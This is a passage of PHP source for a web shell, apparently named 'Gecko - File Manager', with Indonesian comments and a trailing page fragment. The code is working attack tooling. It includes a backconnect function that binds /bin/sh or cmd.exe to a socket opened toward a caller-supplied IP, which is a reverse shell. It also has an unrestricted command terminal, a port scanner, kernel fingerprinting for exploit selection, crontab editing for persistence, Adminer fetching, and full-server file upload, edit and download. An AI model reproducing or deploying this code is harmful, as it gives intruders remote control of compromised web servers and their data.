0) ? ($disk_used / $disk_total) * 100 : 0; $stats = [ 'user' => function_exists('get_current_user') ? get_current_user() : 'N/A', 'php_version' => phpversion(), 'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A', 'cpu_load' => get_server_cpu_load(), 'disk' => [ 'total' => round($disk_total / (1024 * 1024 * 1024), 2), 'used' => round($disk_used / (1024 * 1024 * 1024), 2), 'percent' => round($disk_percent, 2), ] ]; echo json_encode($stats); } function handleAdminer() { $adminer_file = 'adminer.php'; $adminer_url = 'https://www.adminer.org/latest.php'; if (!file_exists($adminer_file)) { $adminer_content = @file_get_contents($adminer_url); if ($adminer_content === false) { header('Content-Type: text/html; charset=utf-8'); echo "

Gagal Mengunduh Adminer

"; echo "

Silakan unduh adminer.php secara manual dari situs resminya dan unggah ke direktori ini.

"; exit; } file_put_contents($adminer_file, $adminer_content); } include $adminer_file; } function handlePortScan() { header('Content-Type: application/json'); $data = json_decode(file_get_contents('php://input'), true); $host = $data['host'] ?? ''; $ports_str = $data['ports'] ?? '21,22,80,443,3306'; $timeout = $data['timeout'] ?? 1; if (empty($host) || filter_var($host, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) === false && filter_var($host, FILTER_VALIDATE_IP) === false) { send_error('Host is required or invalid.'); } $ports_to_scan = []; foreach (explode(',', $ports_str) as $part) { $part = trim($part); if (strpos($part, '-') !== false) { list($start, $end) = explode('-', $part); if (is_numeric($start) && is_numeric($end)) { for ($i = intval($start); $i <= intval($end); $i++) { $ports_to_scan[] = $i; } } } elseif (is_numeric($part)) { $ports_to_scan[] = intval($part); } } $open_ports = []; foreach (array_unique($ports_to_scan) as $port) { $connection = @fsockopen($host, $port, $errno, $errstr, $timeout); if (is_resource($connection)) { $open_ports[] = $port; fclose($connection); } } send_success(['host' => $host, 'open_ports' => $open_ports, 'scanned_ports' => $ports_to_scan]); } function handleLinuxExploitSuggester() { header('Content-Type: application/json'); if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { send_error("This tool is for Linux servers only."); } $commands = [ 'Kernel Version' => 'uname -a', 'Distribution' => 'lsb_release -a 2>/dev/null || cat /etc/*-release 2>/dev/null || cat /etc/issue 2>/dev/null', 'Proc Version' => 'cat /proc/version' ]; $results = []; foreach ($commands as $label => $command) { $results[$label] = htmlspecialchars(safe_exec($command)); } send_success(['results' => $results]); } function handleBackconnect() { header('Content-Type: application/json'); $data = json_decode(file_get_contents('php://input'), true); $ip = $data['ip'] ?? ''; $port = intval($data['port'] ?? 0); if (empty($ip) || filter_var($ip, FILTER_VALIDATE_IP) === false) { send_error("Invalid IP address."); } if ($port <= 0 || $port > 65535) { send_error("Invalid port."); } set_time_limit(0); ignore_user_abort(true); session_write_close(); $shell = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? 'cmd.exe' : '/bin/sh -i'; $sock = @fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { send_error("Failed to connect to $ip:$port. Error: $errstr ($errno)"); } send_success(['message' => "Backconnect initiated to $ip:$port. Check your listener."]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { ob_flush(); flush(); } $descriptorspec = [0 => $sock, 1 => $sock, 2 => $sock]; $process = proc_open($shell, $descriptorspec, $pipes); if (is_resource($process)) { proc_close($process); } fclose($sock); } function handleCronManager() { header('Content-Type: application/json'); if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { send_error("Cron Manager is for Linux servers only."); } $data = json_decode(file_get_contents('php://input'), true); $sub_action = $data['sub_action'] ?? 'list'; switch ($sub_action) { case 'list': $output = safe_exec('crontab -l 2>&1'); send_success(['cron_jobs' => (strpos($output, 'no crontab for') !== false || empty($output)) ? '' : $output]); break; case 'save': $jobs = $data['jobs'] ?? ''; $tmp_file = tempnam(sys_get_temp_dir(), 'cron'); file_put_contents($tmp_file, $jobs . PHP_EOL); // escapeshellarg sangat penting untuk keamanan $output = safe_exec('crontab ' . escapeshellarg($tmp_file) . ' 2>&1'); unlink($tmp_file); empty($output) ? send_success(['message' => 'Crontab updated successfully.']) : send_error('Failed to update crontab: ' . $output); break; default: send_error('Invalid Cron Manager action specified.'); break; } } /** * [MODIFIED] Handles terminal commands with real-time streaming for output. */ function handleTerminal() { if (!isset($_SESSION['terminal_cwd'])) { $_SESSION['terminal_cwd'] = __DIR__; } $data = json_decode(file_get_contents('php://input'), true); $command = $data['cmd'] ?? ''; $cwd = $_SESSION['terminal_cwd']; // Handle 'cd' commands, which don't stream output. if (preg_match('/^cd\s*(.*)$/', $command, $matches)) { $new_dir_str = trim($matches[1]); $new_dir_str = trim($new_dir_str, "\"'"); $output = ''; if (empty($new_dir_str) || $new_dir_str === '~') { $target_path = __DIR__; } else { // Handle absolute paths on both Windows and Linux $is_absolute = (DIRECTORY_SEPARATOR === '/' && substr($new_dir_str, 0, 1) === '/') || (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[a-zA-Z]:/', $new_dir_str)); $target_path = $is_absolute ? $new_dir_str : $cwd . DIRECTORY_SEPARATOR . $new_dir_str; } $real_target_path = realpath($target_path); if ($real_target_path && is_dir($real_target_path)) { $_SESSION['terminal_cwd'] = $real_target_path; } else { $output = "cd: no such file or directory: " . htmlspecialchars($new_dir_str); } // Send a normal JSON response for 'cd' and exit. header('Content-Type: application/json'); echo json_encode(['output' => $output]); exit; } // Handle executing other commands with streaming output. elseif (!empty($command)) { // Disable all levels of output buffering while (ob_get_level()) { ob_end_flush(); } // Set headers for a streaming plain text response header('Content-Type: text/plain; charset=UTF-8'); header('X-Content-Type-Options: nosniff'); // Close the session to prevent blocking other requests session_write_close(); set_time_limit(0); // Allow the command to run indefinitely $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $cd_command = $is_windows ? 'cd /d' : 'cd'; // Construct command to first change directory, then execute the user's command $full_command = $cd_command . ' ' . escapeshellarg($cwd) . ' && ' . $command; $descriptorspec = [ 0 => ["pipe", "r"], // stdin 1 => ["pipe", "w"], // stdout 2 => ["pipe", "w"] // stderr ]; $process = proc_open($full_command, $descriptorspec, $pipes); if (is_resource($process)) { fclose($pipes[0]); // Not writing to stdin // Set stdout and stderr to non-blocking stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false); // Loop until the process finishes while (true) { $status = proc_get_status($process); if (!$status['running']) { break; } $read_streams = [$pipes[1], $pipes[2]]; $write_streams = null; $except_streams = null; // Wait for data on either stdout or stderr if (stream_select($read_streams, $write_streams, $except_streams, 0, 200000) > 0) { foreach ($read_streams as $stream) { $output = fread($stream, 8192); // Read in 8KB chunks if ($output !== false && strlen($output) > 0) { echo $output; // Send chunk to the browser flush(); // Ensure it's sent immediately } } } } // Read any final output left in the pipes after the process exits $stdout_remains = stream_get_contents($pipes[1]); if ($stdout_remains) { echo $stdout_remains; flush(); } $stderr_remains = stream_get_contents($pipes[2]); if ($stderr_remains) { echo $stderr_remains; flush(); } fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } exit; // Terminate script after streaming is complete } // Handle empty command submission else { header('Content-Type: application/json'); echo json_encode(['output' => '']); exit; } } // ================================================================= // FILE MANAGER HANDLERS // ================================================================= function get_fm_config() { // Memusatkan konfigurasi file manager $root_dir = dirname($_SERVER['DOCUMENT_ROOT']); define('DOC_ROOT', realpath($root_dir) ?: realpath(__DIR__)); if (!isset($_SESSION['fm_cwd'])) { $_SESSION['fm_cwd'] = DOC_ROOT; } } function handleListFiles() { get_fm_config(); list_files($_SESSION['fm_cwd']); } function handleChdir() { get_fm_config(); // Tetap panggil ini untuk inisialisasi session dan DOC_ROOT $target_path = $_REQUEST['target_path'] ?? ''; $current_cwd = $_SESSION['fm_cwd']; $new_full_path = ''; // Logika untuk menentukan path baru, sudah baik dan tidak perlu diubah. $is_absolute = (DIRECTORY_SEPARATOR === '/' && substr($target_path, 0, 1) === '/') || (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[a-zA-Z]:/', $target_path)); if ($target_path === '..') { $new_full_path = realpath($current_cwd . DIRECTORY_SEPARATOR . '..'); } elseif (empty($target_path)) { $new_full_path = DOC_ROOT; } elseif ($is_absolute) { if (DIRECTORY_SEPARATOR === '\\' && preg_match('/^[a-zA-Z]:$/', $target_path)) { $target_path .= '\\'; } $new_full_path = realpath($target_path); } else { $new_full_path = realpath($current_cwd . DIRECTORY_SEPARATOR . $target_path); } if ($new_full_path === false) { send_error('Invalid path specified or path does not exist: ' . htmlspecialchars($target_path)); } // Jika path valid dan merupakan sebuah direktori, ubah CWD dan list file. if (is_dir($new_full_path)) { $_SESSION['fm_cwd'] = $new_full_path; list_files($new_full_path); } else { send_error('Failed to change directory or target is not a directory.'); } } function get_validated_filepath($name_from_request) { get_fm_config(); // basename() adalah kunci untuk mencegah directory traversal (../../) $name = basename($name_from_request); $file_path = $_SESSION['fm_cwd'] . DIRECTORY_SEPARATOR . $name; if (!file_exists($file_path)) { send_error('Invalid path specified or file not found.'); } return $file_path; } function handleCreateItem($action) { get_fm_config(); $name = $_POST['name'] ?? ''; if ($action === 'create-dir') { create_directory($_SESSION['fm_cwd'], $name); } else { create_file($_SESSION['fm_cwd'], $name); } } function handleDeleteItem() { $item_path = get_validated_filepath($_POST['name'] ?? ''); delete_item_recursive($item_path); send_success(['message' => 'Item berhasil dihapus.']); } function handleRenameItem() { get_fm_config(); $old_name = basename($_POST['old_name'] ?? ''); $new_name = basename($_POST['new_name'] ?? ''); rename_item($_SESSION['fm_cwd'], $old_name, $new_name); } function handleChangePermissions() { $item_path = get_validated_filepath($_POST['name'] ?? ''); $perms = $_POST['perms'] ?? ''; change_permissions($item_path, $perms); } function handleGetFileContent() { $file_path = get_validated_filepath($_GET['name'] ?? ''); get_file_content($file_path); } function handleSaveFileContent() { $file_path = get_validated_filepath($_POST['name'] ?? ''); $content = $_POST['content'] ?? ''; save_file_content($file_path, $content); } function handleDownloadFile() { $file_path = get_validated_filepath($_GET['name'] ?? ''); download_file($file_path); } function handleUploadFiles() { get_fm_config(); upload_files($_SESSION['fm_cwd']); } function handleBulkDelete() { get_fm_config(); $items = json_decode($_POST['items'] ?? '[]', true); bulk_delete($_SESSION['fm_cwd'], $items); } function handleBulkChmod() { get_fm_config(); $items = json_decode($_POST['items'] ?? '[]', true); $perms = $_POST['perms'] ?? ''; bulk_chmod($_SESSION['fm_cwd'], $items, $perms); } function handleBulkDownload() { get_fm_config(); $items = json_decode($_GET['items'] ?? '[]', true); bulk_download($_SESSION['fm_cwd'], $items); } // ================================================================= // HELPER & CORE FUNCTIONS // ================================================================= function safe_exec($command) { // Deteksi Windows / Unix $isWindows = (stripos(PHP_OS, "WIN") === 0); if ($isWindows) { // --- Windows --- if (PHP_VERSION_ID >= 70400 && extension_loaded("FFI")) { // Pakai FFI (Windows API) $ffi = FFI::cdef(" typedef int BOOL; typedef void* HANDLE; typedef unsigned long DWORD; typedef const wchar_t* LPCWSTR; typedef struct _STARTUPINFOW { DWORD cb; LPCWSTR lpReserved; LPCWSTR lpDesktop; LPCWSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; BYTE* lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFOW; typedef struct _PROCESS_INFORMATION { HANDLE hProcess; HANDLE hThread; DWORD dwProcessId; DWORD dwThreadId; } PROCESS_INFORMATION; BOOL CreateProcessW( LPCWSTR lpApplicationName, LPCWSTR lpCommandLine, void* lpProcessAttributes, void* lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, void* lpEnvironment, LPCWSTR lpCurrentDirectory, STARTUPINFOW* lpStartupInfo, PROCESS_INFORMATION* lpProcessInformation ); ", "kernel32.dll"); $si = $ffi->new("STARTUPINFOW"); $pi = $ffi->new("PROCESS_INFORMATION"); $si->cb = FFI::sizeof($si); $wcmd = FFI::new("wchar_t[512]"); FFI::memcpy( $wcmd, FFI::string("cmd.exe /c " . $command), 2 * strlen("cmd.exe /c " . $command) ); $res = $ffi->CreateProcessW( null, $wcmd, null, null, 0, 0, null, null, FFI::addr($si), FFI::addr($pi) ); return $res ? "Process started (PID: " . $pi->dwProcessId . ")" : "Failed to execute via CreateProcessW"; } else { // Fallback: pakai proc_open / popen biasa $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($command, $descriptorspec, $pipes); $output = ''; if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } return $output; } } else { // --- Linux / Unix --- $descriptorspec = [ 0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"] ]; $process = proc_open($command, $descriptorspec, $pipes); $output = ''; if (is_resource($process)) { fclose($pipes[0]); $output = stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } return $output; } } function send_error($message, $status_code = 400) { header('Content-Type: application/json'); http_response_code($status_code); echo json_encode(['success' => false, 'message' => $message]); exit; } function send_success($data = []) { header('Content-Type: application/json'); echo json_encode(array_merge(['success' => true], $data)); exit; } function list_files($dir) { if (!is_dir($dir)) send_error('Directory not found.'); $files = []; $items = @scandir($dir); if ($items === false) send_error('Could not read directory. Check permissions.'); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $item_path = $dir . DIRECTORY_SEPARATOR . $item; $is_dir = is_dir($item_path); $files[] = [ 'name' => $item, 'type' => $is_dir ? 'folder' : 'file', 'size' => $is_dir ? '-' : format_size(@filesize($item_path)), 'last_modified' => date('Y-m-d H:i:s', @filemtime($item_path)), 'permissions' => substr(sprintf('%o', @fileperms($item_path)), -4), ]; } usort($files, function ($a, $b) { if ($a['type'] === 'folder' && $b['type'] !== 'folder') return -1; if ($a['type'] !== 'folder' && $b['type'] === 'folder') return 1; return strcasecmp($a['name'], $b['name']); }); $display_path = str_replace(DOC_ROOT, '', $dir) ?: '/'; $response_data = [ 'files' => $files, 'path' => $display_path, 'breadcrumbs' => generate_breadcrumbs($dir) ]; if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $drives = []; foreach (range('A', 'Z') as $drive) { if (is_dir($drive . ':\\')) { $drives[] = ['name' => $drive . ':', 'path' => $drive . ':\\']; } } $response_data['drives'] = $drives; } send_success($response_data); } function create_directory($path, $name) { if (empty($name) || preg_match('/[\\/\:\*\?"<>\|]/', $name)) send_error('Invalid directory name.'); $new_dir = $path . DIRECTORY_SEPARATOR . $name; if (file_exists($new_dir)) send_error('Directory already exists.'); if (@mkdir($new_dir)) send_success(['message' => 'Directory created successfully.']); else send_error('Failed to create directory. Check permissions.'); } function create_file($path, $name) { if (empty($name) || preg_match('/[\\/\:\*\?"<>\|]/', $name)) send_error('Invalid file name.'); $new_file = $path . DIRECTORY_SEPARATOR . $name; if (file_exists($new_file)) send_error('File already exists.'); if (@touch($new_file)) send_success(['message' => 'File created successfully.']); else send_error('Failed to create file. Check permissions.'); } function delete_item_recursive($item_path) { if (is_dir($item_path)) { $it = new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS); $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST); foreach ($files as $file) { $realPath = $file->getRealPath(); $file->isDir() ? @rmdir($realPath) : @unlink($realPath); } @rmdir($item_path); } else { @unlink($item_path); } } function rename_item($path, $old_name, $new_name) { if (empty($new_name) || preg_match('/[\\/\:\*\?"<>\|]/', $new_name)) send_error('Invalid new name.'); $old_path = $path . DIRECTORY_SEPARATOR . $old_name; $new_path = $path . DIRECTORY_SEPARATOR . $new_name; if (!file_exists($old_path)) send_error('Original item not found.'); if (file_exists($new_path)) send_error('An item with the new name already exists.'); if (rename($old_path, $new_path)) send_success(['message' => 'Berhasil diubah nama.']); else send_error('Failed to rename. Check permissions.'); } function change_permissions($item_path, $perms) { if (!preg_match('/^[0-7]{4}$/', $perms)) send_error('Invalid permission format. Use a 4-digit octal value (e.g., 0755).'); if (@chmod($item_path, octdec($perms))) send_success(['message' => 'Permissions changed successfully.']); else send_error('Failed to change permissions.'); } function get_file_content($file_path) { if (!is_file($file_path)) send_error('File not found.'); $content = @file_get_contents($file_path); if ($content === false) send_error('Could not read file content.'); else send_success(['content' => $content]); } function save_file_content($file_path, $content) { if (!is_file($file_path)) send_error('File not found.'); if (@file_put_contents($file_path, $content) !== false) send_success(['message' => 'File saved successfully.']); else send_error('Failed to save file. Check permissions.'); } function download_file($file_path) { if (is_file($file_path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_path) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path)); flush(); readfile($file_path); exit; } else { http_response_code(404); die('File not found.'); } } function upload_files($path) { if (empty($_FILES['files_to_upload'])) { send_error('Tidak ada file yang dipilih untuk diunggah.'); } $files = $_FILES['files_to_upload']; $errors = []; $success_count = 0; $file_count = is_array($files['name']) ? count($files['name']) : 1; for ($i = 0; $i < $file_count; $i++) { $name = is_array($files['name']) ? $files['name'][$i] : $files['name']; $tmp_name = is_array($files['tmp_name']) ? $files['tmp_name'][$i] : $files['tmp_name']; $error = is_array($files['error']) ? $files['error'][$i] : $files['error']; if ($error !== UPLOAD_ERR_OK) { $errors[] = "$name (Error code: $error)"; continue; } $file_name = basename($name); if (preg_match('/[\\/\:\*\?"<>\|]/', $file_name)) { $errors[] = "$file_name (Invalid characters in name)"; continue; } $destination = $path . DIRECTORY_SEPARATOR . $file_name; if (file_exists($destination)) { $errors[] = "$file_name (File already exists)"; continue; } if (move_uploaded_file($tmp_name, $destination)) { $success_count++; } else { $errors[] = "$file_name (Failed to move, check folder permissions)"; } } if ($success_count > 0 && empty($errors)) { send_success(['message' => "$success_count file(s) uploaded successfully."]); } elseif ($success_count > 0) { send_error("Uploaded $success_count file(s), but failed for: " . implode(', ', $errors)); } else { send_error('Upload failed. Errors: ' . implode(', ', $errors)); } } function bulk_delete($path, $items) { if (empty($items)) send_error('No items selected.'); $errors = []; foreach ($items as $item_name) { $item_path = $path . DIRECTORY_SEPARATOR . basename($item_name); if (file_exists($item_path)) { delete_item_recursive($item_path); } else { $errors[] = $item_name; } } if (empty($errors)) send_success(['message' => count($items) . ' items deleted.']); else send_error('Could not delete: ' . implode(', ', $errors)); } function bulk_chmod($path, $items, $perms) { if (empty($items)) send_error('No items selected.'); if (!preg_match('/^[0-7]{4}$/', $perms)) send_error('Invalid permission format.'); $octal_perms = octdec($perms); $errors = []; foreach ($items as $item_name) { $item_path = $path . DIRECTORY_SEPARATOR . basename($item_name); if (file_exists($item_path) && !@chmod($item_path, $octal_perms)) { $errors[] = $item_name; } } if (empty($errors)) send_success(['message' => 'Permissions changed for ' . count($items) . ' items.']); else send_error('Could not change permissions for: ' . implode(', ', $errors)); } function bulk_download($path, $items) { if (!class_exists('ZipArchive')) send_error('ZipArchive class is not available.'); if (empty($items)) send_error('No items selected for download.'); $zip = new ZipArchive(); $zip_name = 'download_' . time() . '.zip'; $zip_path = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zip_name; if ($zip->open($zip_path, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== TRUE) { send_error('Cannot create zip archive.'); } foreach ($items as $item_name) { $item_path = $path . DIRECTORY_SEPARATOR . basename($item_name); if (file_exists($item_path)) { if (is_file($item_path)) { $zip->addFile($item_path, basename($item_name)); } elseif (is_dir($item_path)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($item_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = basename($item_name) . '/' . substr($filePath, strlen($item_path) + 1); $zip->addFile($filePath, $relativePath); } } } } } $zip->close(); if (file_exists($zip_path)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zip_name . '"'); header('Content-Length: ' . filesize($zip_path)); readfile($zip_path); @unlink($zip_path); exit; } else { send_error('Could not create the zip file.'); } } function generate_breadcrumbs($current_path) { $breadcrumbs = []; $real_path = realpath($current_path); if ($real_path === false) return [['name' => 'Invalid Path', 'path' => '']]; $is_windows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; $base_path = DOC_ROOT; if (strpos($real_path, $base_path) !== 0) { $base_path = $is_windows ? '' : '/'; } $relative_path = substr($real_path, strlen($base_path)); $parts = explode(DIRECTORY_SEPARATOR, trim($relative_path, DIRECTORY_SEPARATOR)); $path_builder = $base_path; $breadcrumbs[] = ['name' => '[ ROOT ]', 'path' => DOC_ROOT]; foreach ($parts as $part) { if (empty($part)) continue; $path_builder .= DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = ['name' => $part, 'path' => $path_builder]; } return $breadcrumbs; } function format_size($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' bytes'; } ?> Gecko - File Manager
0 item dipilih
Nama Ukuran Terakhir Diubah Aksi